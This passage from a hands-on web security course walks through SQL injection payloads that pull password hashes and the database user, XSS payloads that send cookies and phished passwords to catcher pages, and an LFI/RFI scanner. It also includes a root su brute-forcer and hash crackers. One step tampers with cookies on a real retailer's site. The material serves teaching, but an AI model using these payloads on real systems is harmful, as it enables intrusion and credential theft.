  2042. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 9--
  2043. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
  2044. -----------------------------------------------------------------------
  2045.  
  2046.  We are using a union select statement because we are joining the developer's query with one of our own.
  2047.    Reference:
  2048.    http://www.techonthenet.com/sql/union.php
  2049.    The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
  2050.    It removes duplicate rows between the various SELECT statements.
  2051.  
  2052.    Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
  2053.  
  2054. ---------------------------Type This-----------------------------------
  2055.  
  2056. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
  2057. -----------------------------------------------------------------------
  2058.  
  2059.    Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
  2060.  
  2061. ---------------------------Type This-----------------------------------
  2062.  
  2063. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
  2064. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
  2065. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
  2066. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
  2067.  
  2068. -----------------------------------------------------------------------
  2069.  
  2070.  
  2071.  
  2072.  
  2073. - Another way is to see if you can get the backend to perform an arithmetic function
  2074.  
  2075. ---------------------------Type This-----------------------------------
  2076.  
  2077. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(2)
  2078. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(4-2)  
  2079. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(4-1)
  2080.  
  2081.  
  2082.  
  2083. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1=1--
  2084. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1=2--
  2085. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=1*1
  2086. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 >-1#
  2087. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1<99#
  2088. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1<>1#
  2089. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 2 != 3--
  2090. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 &0#
  2091.  
  2092.  
  2093.  
  2094. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and 1=1--
  2095. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and 1=2--
  2096. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and user='joe' and 1=1--
  2097. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and user='dbo' and 1=1--
  2098.  
  2099. -----------------------------------------------------------------------
  2100.  
  2101.  
  2102. ###############################
  2103. # Blind SQL Injection Testing #
  2104. ###############################
  2105. Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
  2106.    
  2107. 3 - Total Characters
  2108. ---------------------------Type This-----------------------------------
  2109.  
  2110. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
  2111. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
  2112. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--      (Ok, the username is 3 chars long - it waited 10 seconds)
  2113. -----------------------------------------------------------------------
  2114.  
  2115. Let's go for a quick check to see if it's DBO
  2116.  
  2117. ---------------------------Type This-----------------------------------
  2118.  
  2119. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
  2120. -----------------------------------------------------------------------
  2121.  
  2122. Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
  2123.  
  2124. ---------------------------Type This-----------------------------------
  2125.  
  2126. D  - 1st Character
  2127. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--  
  2128. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
  2129. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
  2130. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--  (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
  2131.  
  2132. B - 2nd Character
  2133. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
  2134. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
  2135.  
  2136. O - 3rd Character
  2137. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
  2138. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
  2139. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
  2140. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
  2141. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
  2142. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--      
  2143. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
  2144.  
  2145. -----------------------------------------------------------------------
  2146.  
  2147.  
  2148.  
  2149.  
  2150.  
  2151.  
  2152.  
  2153. ################################
  2154. # Playing with session cookies #
  2155. ################################
  2156.  
  2157. -----------------------------------------------------------------------
  2158. Step 1: Browse to NewEgg.com
  2159. -------------------------Paste this into Firefox-----------------------------------
  2160. https://secure.newegg.com/
  2161. ----------------------------------------------------------------------------------
  2162.  
  2163.  
  2164. Step 2: Browse to the shopping cart page NewEgg.com
  2165. -------------------------Paste this into Firefox-----------------------------------
  2166. https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
  2167. ----------------------------------------------------------------------------------
  2168.  
  2169.  
  2170. Step 3: View the current session ID
  2171. -------------------------Paste this into Firefox-----------------------------------
  2172. javascript:void(document.write(document.cookie))
  2173. ------------------------------------------------------------------------------------
  2174.  
  2175. Step 4: Go back to the shopping cart page (click the back button)
  2176. ---------------------------------------------------------------------------------
  2177. https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
  2178. ---------------------------------------------------------------------------------
  2179.  
  2180.  
  2181. Step 5: Now let's modify the session ID
  2182. -------------------------Paste this into Firefox-----------------------------------
  2183. javascript:void(document.cookie="PHPSessionID=wow-this-is-fun")
  2184. ------------------------------------------------------------------------------------
  2185.  
  2186.  
  2187.  
  2188. Step 6: Go back to the shopping cart page (click the back button)
  2189. ---------------------------------------------------------------------------------
  2190. https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
  2191. ---------------------------------------------------------------------------------
  2192.  
  2193.  
  2194.  
  2195. Step 7: View the current session ID
  2196. -------------------------Paste this into Firefox-----------------------------------
  2197. javascript:void(document.write(document.cookie))
  2198. ------------------------------------------------------------------------------------
  2199.  
  2200. -----------------------------------------------------------------------
  2201.  
  2202. ###########################################
  2203. # What is XSS                             #
  2204. # https://phpapp.infosecaddicts.com/2-Intro_To_XSS.pptx #
  2205. ###########################################
  2206.  
  2207. OK - what is Cross Site Scripting (XSS)
  2208.  
  2209. 1. Use Firefox to browse to the following location:
  2210. ---------------------------Type This-----------------------------------
  2211.  
  2212.    https://phpapp.infosecaddicts.com/xss_practice/
  2213. -----------------------------------------------------------------------
  2214.  
  2215.    A really simple search page that is vulnerable should come up.
  2216.  
  2217.  
  2218.  
  2219.  
  2220. 2. In the search box type:
  2221. ---------------------------Type This-----------------------------------
  2222.  
  2223.    <script>alert('So this is XSS')</script>
  2224. -----------------------------------------------------------------------
  2225.  
  2226.  
  2227.    This should pop-up an alert window with your message in it proving XSS is in fact possible.
  2228.    Ok, click OK and then click back and go back to https://phpapp.infosecaddicts.com/xss_practice/
  2229.  
  2230.  
  2231. 3. In the search box type:
  2232. ---------------------------Type This-----------------------------------
  2233.  
  2234.    <script>alert(document.cookie)</script>
  2235. -----------------------------------------------------------------------
  2236.  
  2237.  
  2238.    This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
  2239.    Ok, click OK and then click back and go back to https://phpapp.infosecaddicts.com/xss_practice/
  2240.  
  2241. 4. Now replace that alert script with:
  2242. ---------------------------Type This-----------------------------------
  2243.  
  2244.    <script>document.location="https://phpapp.infosecaddicts.com/xss_practice/cookie_catcher.php?c="+document.cookie</script>
  2245. -----------------------------------------------------------------------
  2246.  
  2247.  
  2248. This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
  2249.  
  2250.  
  2251. 5. Now view the stolen cookie at:
  2252. ---------------------------Type This-----------------------------------
  2253.  
  2254.    https://phpapp.infosecaddicts.com/xss_practice/cookie_stealer_logs.html
  2255. -----------------------------------------------------------------------
  2256.  
  2257.  
  2258. The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
  2259.  
  2260.  
  2261.  
  2262.  
  2263.  
  2264.  
  2265. ############################
  2266. # A Better Way To Demo XSS #
  2267. ############################
  2268.  
  2269.  
  2270. Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
  2271.  
  2272.  
  2273. Use Firefox to browse to the following location:
  2274. ---------------------------Type This-----------------------------------
  2275.  
  2276.  https://phpapp.infosecaddicts.com/xss_practice/
  2277. -----------------------------------------------------------------------
  2278.  
  2279.  
  2280.  
  2281. Paste this in the search box
  2282. ----------------------------
  2283.  
  2284.  
  2285. ---------------------------Type This-----------------------------------
  2286.  
  2287. <script>
  2288. password=prompt('Your session is expired. Please enter your password to continue',' ');
  2289. document.write("<img src=\"https://phpapp.infosecaddicts.com/xss_practice/passwordgrabber.php?password=" +password+"\">");
  2290. </script>
  2291. -----------------------------------------------------------------------
  2292.  
  2293.  
  2294. Now view the stolen cookie at:
  2295. ---------------------------Type This-----------------------------------
  2296.  
  2297.  https://phpapp.infosecaddicts.com/xss_practice/passwords.html
  2298.  
  2299. -----------------------------------------------------------------------
  2300.  
  2301.  
  2302.  
  2303.  
  2304.  
  2305.  
  2306.  
  2307. ################################
  2308. # Web App Testing with Python3 #
  2309. ################################
  2310.  
  2311.  
  2312.  
  2313.  
  2314.  
  2315.  
  2316. ##############################
  2317. # Bannergrabbing a webserver #
  2318. ##############################
  2319.  
  2320. ---------------------------Type This-----------------------------------
  2321. nano bannergrab.py
  2322.  
  2323.  
  2324. ---------------------------Paste This----------------------------------
  2325.  
  2326. #!/usr/bin/env python3
  2327. import sys
  2328. import socket
  2329.  
  2330. # Great reference: https://www.mkyong.com/python/python-3-typeerror-cant-convert-bytes-object-to-str-implicitly/
  2331.  
  2332. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2333. s.connect(("45.63.104.73", 80))
  2334. s.send(("GET / HTTP/1.1\r\n\r\n").encode())
  2335.  
  2336. #Convert response to bytes
  2337. response = b""
  2338. # or use encode()
  2339. #response = "".encode()
  2340.  
  2341. while True:
  2342.    data = s.recv(4096)
  2343.    response += data
  2344.    if not data:
  2345.        break
  2346. s.close()
  2347. print(response.decode())
  2348. ----------------------------------------------------------------------
  2349.  
  2350.  
  2351. ---------------------------Type This-----------------------------------
  2352. python3 bannergrab.py
  2353. -----------------------------------------------------------------------
  2354.  
  2355.  
  2356.  
  2357. ########################################
  2358. # Testing availability of HTTP methods #
  2359. ########################################
  2360.  
  2361. A  very  good  practice  for  a  penetration  tester  is  to  start  by  listing  the  various  available HTTP methods.
  2362. Following is a Python script with the help of which we can connect to the target web server and enumerate the available HTTP methods:  
  2363.  
  2364. To begin with, we need to import the requests library:
  2365.  
  2366. ---------------------------
  2367. import requests
  2368. ---------------------------
  2369.  
  2370. After importing the requests library,create an array of HTTP methods, which we are going to send. We will make use ofsome standard methods like 'GET', 'POST', 'PUT', 'DELETE', 'OPTIONS' and a non-standard method ‘TEST’ to check how a web server can handle the unexpected input.
  2371.  
  2372. ----------------------------------------------------------------------------
  2373. method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
  2374. ----------------------------------------------------------------------------
  2375.  
  2376. The following line of code is the main loop of the script, which will send the HTTP packets to the web server and print the method and the status code.
  2377.  
  2378. ------------------------------------------------------
  2379. for method in method_list:
  2380.   req = requests.request(method, 'https://www.google.com')
  2381.   print (method, req.status_code, req.reason)
  2382. ------------------------------------------------------
  2383.  
  2384.  
  2385. ------------------------------------------------------
  2386. for method in method_list:
  2387.   req = requests.request(method, 'https://www.darkoperator.com')
  2388.   print (method, req.status_code, req.reason)
  2389. ------------------------------------------------------
  2390.  
  2391.  
  2392. ------------------------------------------------------
  2393. for method in method_list:
  2394.   req = requests.request(method, 'https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php')
  2395.   print (method, req.status_code, req.reason)
  2396. ------------------------------------------------------
  2397.  
  2398.  
  2399. ------------------------------------------------------
  2400. for method in method_list:
  2401.   req = requests.request(method, 'http://www.dybedu.com')
  2402.   print (method, req.status_code, req.reason)
  2403. ------------------------------------------------------
  2404.  
  2405.  
  2406. The next line will test for the possibility of cross site tracing (XST) by sending the TRACE method.
  2407.  
  2408. -------------------------------------------------------------
  2409. if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
  2410.   print ('Cross Site Tracing(XST) is possible')
  2411. -------------------------------------------------------------
  2412.  
  2413.  
  2414. *** Full code with example url: ***
  2415.  
  2416. ---------------------------Type This-----------------------------------
  2417. nano xst.py
  2418.  
  2419.  
  2420. ---------------------------Paste This----------------------------------
  2421. #!/usr/bin/env python3
  2422. import requests
  2423. method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
  2424. for method in method_list:
  2425.   req = requests.request(method, 'https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php')
  2426.   print (method, req.status_code, req.reason)
  2427. if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
  2428.   print ('Cross Site Tracing(XST) is possible')
  2429.  
  2430. -------------------------------------------------------------------------
  2431.  
  2432.  
  2433. After running the above script for a particular web server, we will get 200 OK responses for a particular method accepted by the web server. We will get a 403 Forbidden response if the web server explicitly denies the method. Once we send the TRACE method for testing cross  site  tracing  (XST), we  will  get 405  Not  Allowed responses  from  the  web  server otherwise we will get the message ‘Cross Site Tracing(XST) is possible’.
  2434.  
  2435.  
  2436. ---------------------------Type This-----------------------------------
  2437. python3 xst.py
  2438. -----------------------------------------------------------------------
  2439.  
  2440.  
  2441.  
  2442. ##########################################
  2443. # Foot printing by checking HTTP headers #
  2444. ##########################################
  2445.  
  2446.  
  2447. HTTP headers are found in both requests and responses from the web server. They also carry very important information about servers. That is why penetration tester is always interested in parsing information through HTTP headers. Following is a Python script for getting the information about headers of the web server:
  2448.  
  2449. To begin with, let us import the requests library:
  2450.  
  2451. ------------------------
  2452. import requests
  2453. ------------------------
  2454.  
  2455. We need to send a  GET request to the web  server. The following line  of code makes a simple GET request through the requests library.
  2456.  
  2457. ---------------------------------------------
  2458. request = requests.get('enter the URL')
  2459. ---------------------------------------------
  2460.  
  2461. Next, we will generate a list of headers about which you need the information.
  2462.  
  2463. ---------------------------------------------------------------------------------------------------------------
  2464. header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
  2465. ---------------------------------------------------------------------------------------------------------------
  2466.  
  2467. Next is a try and except block.
  2468.  
  2469. ---------------------------------------------------
  2470. for header in header_list:
  2471.  
  2472.   try:
  2473.      result = request.headers[header]
  2474.      print ('%s: %s' % (header, result))
  2475.   except Exception as err:
  2476.         print ('%s: No Details Found' % header)
  2477.  
  2478. ---------------------------------------------------
  2479.  
  2480.  
  2481.  
  2482.  
  2483. *** Example Full Code: ***
  2484.  
  2485. ---------------------------Type This-----------------------------------
  2486. nano headercheck.py
  2487.  
  2488.  
  2489. ---------------------------Paste This----------------------------------
  2490. #!/usr/bin/env python3
  2491. import requests
  2492. request = requests.get('https://dvws1.infosecaddicts.com/dvws1/appinfo.php')
  2493. header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
  2494. for header in header_list:
  2495.      try:
  2496.         result = request.headers[header]
  2497.         print ('%s: %s' % (header, result))
  2498.      except Exception as err:
  2499.               print ('%s: No Details Found' % header)
  2500. ----------------------------------------------------------------------------------------------------------------
  2501.  
  2502.  
  2503. After running the above script for a particular web server, we will get the information about the  headers  provided  in  the  header  list.  If  there  will  be  no  information  for  a  particular header then it will give the message ‘No Details Found’.
  2504.  
  2505.  
  2506. ---------------------------Type This-----------------------------------
  2507. python3 headercheck.py
  2508. -----------------------------------------------------------------------
  2509.  
  2510.  
  2511. ##############################################
  2512. # Testing insecure web server configurations #
  2513. ##############################################
  2514.  
  2515. We can use HTTP header information to test insecure web server configurations. In the following Python script, we are going to use try/except block to test insecure web server headers for number of URLs that are saved in a text file name websites.txt.
  2516. ---------------------------Type This-----------------------------------
  2517. nano websites.txt
  2518.  
  2519. ---------------------------Paste This----------------------------------
  2520. https://www.google.com
  2521. https://www.cnn.com
  2522. https://foxnews.com
  2523. https://phpapp.infosecaddicts.com/
  2524. https://aspdotnetapp.infosecaddicts.com/
  2525. https://dvws1.infosecaddicts.com/
  2526. -----------------------------------------------------------------------
  2527.  
  2528.  
  2529.  
  2530.  
  2531. ---------------------------Type This-----------------------------------
  2532. nano insecure_config_check.py
  2533.  
  2534.  
  2535. ---------------------------Paste This----------------------------------
  2536. #!/usr/bin/env python3
  2537.  
  2538. # Reference: https://www.keycdn.com/blog/http-security-headers
  2539.  
  2540. import requests
  2541. urls = open("websites.txt", "r")
  2542. for url in urls:
  2543.   url = url.strip()
  2544.   req = requests.get(url)
  2545.   print (url, 'report:')
  2546.   try:
  2547.      protection_xss = req.headers['X-XSS-Protection']
  2548.      if protection_xss != '1; mode=block':
  2549.         print ('X-XSS-Protection not set properly, it may be possible:', protection_xss)
  2550.   except:
  2551.      print ('X-XSS-Protection not set, it may be possible')
  2552.   try:
  2553.      options_content_type = req.headers['X-Content-Type-Options']
  2554.      if options_content_type != 'nosniff':
  2555.         print ('X-Content-Type-Options not set properly:', options_content_type)
  2556.   except:
  2557.      print ('X-Content-Type-Options not set')
  2558.   try:
  2559.      transport_security = req.headers['Strict-Transport-Security']
  2560.   except:
  2561.      print ('HSTS header not set properly, Man in the middle attacks is possible')
  2562.   try:
  2563.      content_security = req.headers['Content-Security-Policy']
  2564.      print ('Content-Security-Policy set:', content_security)
  2565.   except:
  2566.      print ('Content-Security-Policy missing')
  2567.  
  2568. -----------------------------------------------------------------------
  2569.  
  2570.  
  2571. ---------------------------Type This-----------------------------------
  2572. python3 insecure_config_check.py
  2573. -----------------------------------------------------------------------
  2574.  
  2575.  
  2576.  
  2577.  
  2578.  
  2579.  
  2580.  
  2581.  
  2582. ---------------------------Type This-----------------------------------
  2583. nano LFI-RFI.py
  2584.  
  2585.  
  2586. ---------------------------Paste This----------------------------------
  2587.  
  2588. #!/usr/bin/env python3
  2589. print("\n### PHP LFI/RFI Detector ###")
  2590.  
  2591. import urllib.request, urllib.error, urllib.parse,re,sys
  2592.  
  2593. TARGET = "http://45.63.104.73/showfile.php?filename=about.txt"
  2594. RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
  2595. TravLimit = 12
  2596.  
  2597. print("==> Testing for LFI vulns..")
  2598. TARGET = TARGET.split("=")[0]+"="               ## URL MANUPLIATION
  2599. for x in range(1,TravLimit):                    ## ITERATE THROUGH THE LOOP
  2600.   TARGET += "../"
  2601.   try:
  2602.       source = urllib.request.urlopen((TARGET+"etc/passwd")).read().decode() ## WEB REQUEST
  2603.   except urllib.error.URLError as e:
  2604.       print("$$$ We had an Error:",e)
  2605.       sys.exit(0)
  2606.    if re.search("root:x:0:0:",source):          ## SEARCH FOR TEXT IN SOURCE
  2607.       print("!! ==> LFI Found:",TARGET+"etc/passwd")
  2608.       break ## BREAK LOOP WHEN VULN FOUND
  2609.  
  2610. print("\n==> Testing for RFI vulns..")
  2611. TARGET = TARGET.split("=")[0]+"="+RFIVULN       ## URL MANUPLIATION
  2612. try:
  2613.   source = urllib.request.urlopen(TARGET).read().decode() ## WEB REQUEST
  2614. except urllib.error.URLError as e:
  2615.   print("$$$ We had an Error:",e)
  2616.   sys.exit(0)
  2617. if re.search("Hello world",source):             ## SEARCH FOR TEXT IN SOURCE
  2618.   print("!! => RFI Found:",TARGET)
  2619.  
  2620. print("\nScan Complete\n")                      ## DONE
  2621. ----------------------------------------------------------------------
  2622.  
  2623.  
  2624.  
  2625.  
  2626. ---------------------------Type This-----------------------------------
  2627. python3 LFI-RFI.py
  2628. -----------------------------------------------------------------------
  2629.  
  2630.  
  2631.  
  2632.  
  2633.  
  2634. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  2635.  
  2636.  
  2637.  
  2638.                           ###########################################
  2639. ----------- ############### # Day 5: Password cracking and Forensics ############### -----------
  2640.                           ###########################################
  2641.  
  2642.  
  2643. ---------------------------Type This-----------------------------------
  2644.  
  2645. nano list.txt
  2646.  
  2647. ---------------------------Paste This-----------------------------------
  2648.  
  2649. hello
  2650. goodbye
  2651. red
  2652. blue
  2653. yourname
  2654. tim
  2655. bob
  2656. joe
  2657.  
  2658. -----------------------------------------------------------------------
  2659.  
  2660.  
  2661.  
  2662.  
  2663.  
  2664.  
  2665. ---------------------------Type This-----------------------------------
  2666.  
  2667. nano rootbrute.py
  2668.  
  2669. ---------------------------Paste This-----------------------------------
  2670.  
  2671. #!/usr/bin/env python3
  2672.  
  2673. import sys
  2674. try:
  2675.        import pexpect
  2676. except(ImportError):
  2677.        print("\nYou need the pexpect module.")
  2678.        print("http://www.noah.org/wiki/Pexpect\n")
  2679.        sys.exit(1)
  2680.  
  2681. # Change this if needed.
  2682. # LOGIN_ERROR = 'su: incorrect password'
  2683. LOGIN_ERROR = "su: Authentication failure"
  2684.  
  2685.  
  2686. def brute(word):
  2687.        print("Trying:", word)
  2688.        child = pexpect.spawn('/bin/su')
  2689.        child.expect('Password: '.encode("utf-8"))
  2690.        child.sendline(word)
  2691.        i = child.expect(['.+\s#\s', LOGIN_ERROR, pexpect.TIMEOUT], timeout=3)
  2692.         if i == 1:
  2693.                 print("Incorrect Password")
  2694.  
  2695.         if i == 2:
  2696.                 print("\n\t[!] Root Password:", word, i)
  2697.                 child.sendline('id')
  2698.                 print(child.before)
  2699.                 child.interact()
  2700.  
  2701.  
  2702. if len(sys.argv) != 2:
  2703.         print("\nUsage : ./rootbrute.py <wordlist>")
  2704.         print("Eg: ./rootbrute.py words.txt\n")
  2705.         sys.exit(1)
  2706.  
  2707. try:
  2708.         words = open(sys.argv[1], "r").readlines()
  2709. except(IOError):
  2710.         print("\nError: Check your wordlist path\n")
  2711.         sys.exit(1)
  2712.  
  2713. print("\n[+] Loaded:", len(words), "words")
  2714. print("[+] BruteForcing...\n")
  2715. for word in words:
  2716.         brute(word.replace("\n", ""))
  2717. -----------------------------------------------------------------------
  2718.  
  2719.  
  2720. References you might find helpful:
  2721. http://stackoverflow.com/questions/15026536/looping-over-a-some-ips-from-a-file-in-python
  2722.  
  2723.  
  2724. ---------------------------Type This-----------------------------------
  2725. python3 rootbrute.py list.txt
  2726. -----------------------------------------------------------------------
  2727.  
  2728.  
  2729.  
  2730.  
  2731.  
  2732.  
  2733.  
  2734.  
  2735. ---------------------------Type This-----------------------------------
  2736.  
  2737.  
  2738. nano md5crack.py
  2739.  
  2740.  
  2741. ---------------------------Paste This-----------------------------------
  2742.  #!/usr/bin/env python3
  2743.  
  2744. import hashlib
  2745. import sys
  2746.  
  2747. if len(sys.argv) != 3:
  2748.     print("Usage: ./md5crack.py <hash> <wordlist>")
  2749.     sys.exit(1)
  2750.  
  2751. pw = sys.argv[1]
  2752. wordlist = sys.argv[2]
  2753. try:
  2754.     words = open(wordlist, "r")
  2755. except(IOError):
  2756.     print("Error: Check your wordlist path\n")
  2757.     sys.exit(1)
  2758. words = words.readlines()
  2759. print("\n", len(words), "words loaded...")
  2760. hashes = {}
  2761. for word in words:
  2762.     hash = hashlib.md5()
  2763.     hash.update(word[:-1].encode('utf-8'))
  2764.     value = hash.hexdigest()
  2765.     hashes[word[:-1]] = value
  2766. for (key, value) in hashes.items():
  2767.     if pw == value:
  2768.         print("Password is:", key, "\n")
  2769. -----------------------------------------------------------------------
  2770.  
  2771.  
  2772.  
  2773.  
  2774. Why use hexdigest
  2775. http://stackoverflow.com/questions/3583265/compare-result-from-hexdigest-to-a-string
  2776.  
  2777.  
  2778.  
  2779. ---------------------------Type This-----------------------------------
  2780. python3 md5crack.py 8ff32489f92f33416694be8fdc2d4c22 list.txt
  2781. -----------------------------------------------------------------------
  2782.  
  2783.  
  2784.  
  2785.  
  2786.  
  2787. ####### Challenge ########
  2788. I will buy lunch (a nice lunch), for the person that can explain how the htcrack.py script works.
  2789.  
  2790. Teamwork makes the dreamwork. Google is your friend.
  2791. ####### Challenge ########
  2792.  
  2793.  
  2794.  
  2795. ---------------------------Type This-----------------------------------
  2796.  
  2797. htpasswd -nd yourname
  2798.     - enter yourname as the password
  2799.  
  2800.  
  2801. ---------------------------Type This-----------------------------------
  2802.  
  2803. nano htcrack.py
  2804.  
  2805. ---------------------------Paste This-----------------------------------
  2806. #!/usr/bin/env python3
  2807. import crypt
  2808. import sys
  2809.  
  2810. if len(sys.argv) != 3:
  2811.     print("Usage: ./htcrack.py <password> <wordlist>")
  2812.     print("ex: ./htcrack.py user:62P1DYLgPe5S6 [path to wordlist]")
  2813.     sys.exit(1)
  2814.  
  2815. pw = sys.argv[1].split(":", 1)
  2816.  
  2817. try:
  2818.     words = open(sys.argv[2], "r")
  2819. except(IOError):
  2820.     print("Error: Check your wordlist path\n")
  2821.     sys.exit(1)
  2822.  
  2823. wds = words.readlines()
  2824. print("\n-d3hydr8[at]gmail[dot]com htcrack v[1.0]-")
  2825. print("     - http://darkcode.ath.cx -")
  2826. print("\n", len(wds), "words loaded...")
  2827.  
  2828. for w in wds:
  2829.     if crypt.crypt(w[:-1], pw[1][:2]) == pw[1]:
  2830.         print("\nCracked:", pw[0] + ":" + w, "\n")
  2831. -----------------------------------------------------------------------
  2832.  
  2833.  
  2834.  
  2835. ---------------------------Type This-----------------------------------
  2836. python3 htcrack.py joe:7XsJIbCFzqg/o list.txt
  2837. -----------------------------------------------------------------------
  2838.  
  2839.  
  2840.  
  2841.  
  2842. ---------------------------Type This-----------------------------------
  2843.  
  2844. nano DES-Bruteforce.py
  2845.  
  2846. ---------------------------Paste This-----------------------------------
  2847. import base64
  2848. from Crypto.Cipher import DES
  2849. THRESH = 0.9
  2850. keyFile = open("keys.txt")
  2851. keys = keyFile.readlines()
  2852. ciph = base64.decodebytes(b'ESzjTnGMRFnfVOJwQfqtyXOI8yzAatioyufiSdE1dx02McNkZ2IvBg==\n')
  2853.  
  2854. for key in keys:
  2855.     obj = DES.new(key[0:8].encode("utf-8"), DES.MODE_ECB)
  2856.     decodedStr = str(obj.decrypt(ciph))
  2857.  
  2858.     foundLetters = 0
  2859.     for eachChar in decodedStr:
  2860.         # print(THRESH)
  2861.         if eachChar.isalpha() or eachChar.isdigit() or eachChar.isspace():
  2862.             foundLetters = foundLetters + 1
  2863.             # print(float(foundLetters) / float(len(decodedStr)))
  2864.         if (float(foundLetters) / float(len(decodedStr)) > THRESH):
  2865.             print("DES(ciphertext," + key[0:8] + ")=", obj.decrypt(ciph))
  2866. -----------------------------------------------------------------------
  2867.  
  2868.  
  2869.  
  2870.  
  2871. ---------------------------Type This-----------------------------------
  2872. python3 DES-Bruteforce.py
  2873. -----------------------------------------------------------------------
  2874.  
  2875.  
  2876.  
  2877.  
  2878.  
  2879. ---------------------------Type This-----------------------------------
  2880.  
  2881. nano extract-geo-location_from_image.py
  2882.  
